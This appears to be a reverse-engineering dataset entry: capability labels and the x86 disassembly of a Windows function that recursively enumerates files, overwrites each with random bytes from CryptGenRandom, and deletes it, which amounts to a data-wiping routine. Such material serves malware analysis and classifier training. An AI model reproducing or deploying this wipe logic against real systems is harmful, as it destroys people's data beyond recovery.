Function at 0x10007ed0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Generate random numbers via winapi
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x89c
mov eax, dword [0x10060058]
xor eax, esp
mov dword [esp + 0x898], eax
push ebx
push esi
push edi
push 0x20a
lea eax, [esp + 0x694]
mov ebx, ecx
push 0
push eax
mov dword [esp + 0x18], ebx
call fcn.100291d0
push ebx
lea eax, [esp + 0x6a0]
push 0x105
push eax
call fcn.1002c88b
push 0x10059ab8
lea eax, [esp + 0x6ac]
push 0x105
push eax
call fcn.1002c8ef
add esp, 0x24
test eax, eax
je 0x10007f52
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.1002736e
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x694]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x10007f85
or eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.1002736e
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x100081cb
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test byte [esp + 0x20], 0x10
je 0x1000802d
lea eax, [esp + 0x4c]
push 0x10059ac0
push eax
call fcn.10028961
add esp, 8
test eax, eax
jne 0x100081b4
push 0x105
push eax
lea eax, [esp + 0x278]
push eax
call fcn.100291d0
push ebx
lea eax, [esp + 0x280]
push 0x105
push eax
call fcn.1002c88b
push 0x10059ac8
lea eax, [esp + 0x28c]
push 0x105
push eax
call fcn.1002c8ef
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x298]
push 0x105
push eax
call fcn.1002c8ef
add esp, 0x30
lea ecx, [esp + 0x270]
call fcn.10007ed0
jmp 0x100081b4
push ebx
lea eax, [esp + 0x484]
push 0x105
push eax
call fcn.1002c88b
push 0x10059ac8
lea eax, [esp + 0x490]
push 0x105
push eax
call fcn.1002c8ef
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x49c]
push 0x105
push eax
call fcn.1002c8ef
add esp, 0x24
lea eax, [esp + 0x480]
push 0
push 0x80
push 3
push 0
push 7
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100081b0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x100081ad
push 0x400
call fcn.1002c880
mov esi, eax
add esp, 4
test esi, esi
je 0x100081ad
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100081a4
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x1000810b
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x100081a4
xor edi, edi
mov dword [esp + 0x1c], 0
cmp dword [esp + 0x10], edi
jbe 0x10008156
nop dword [eax + eax]
push 0
lea eax, [esp + 0x20]
push eax
push 0x400
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000819e
add edi, dword [esp + 0x1c]
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x10008184
cmp edi, dword [esp + 0x10]
jb 0x10008120
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
push esi
call fcn.1002c865
add esp, 4
lea eax, [esp + 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x100081b0
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call fcn.1002c865
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100081aa
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.1002c865
add esp, 4
push ebx
call edi
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10007fa0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x8a4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1002736e
mov esp, ebp
pop ebp
ret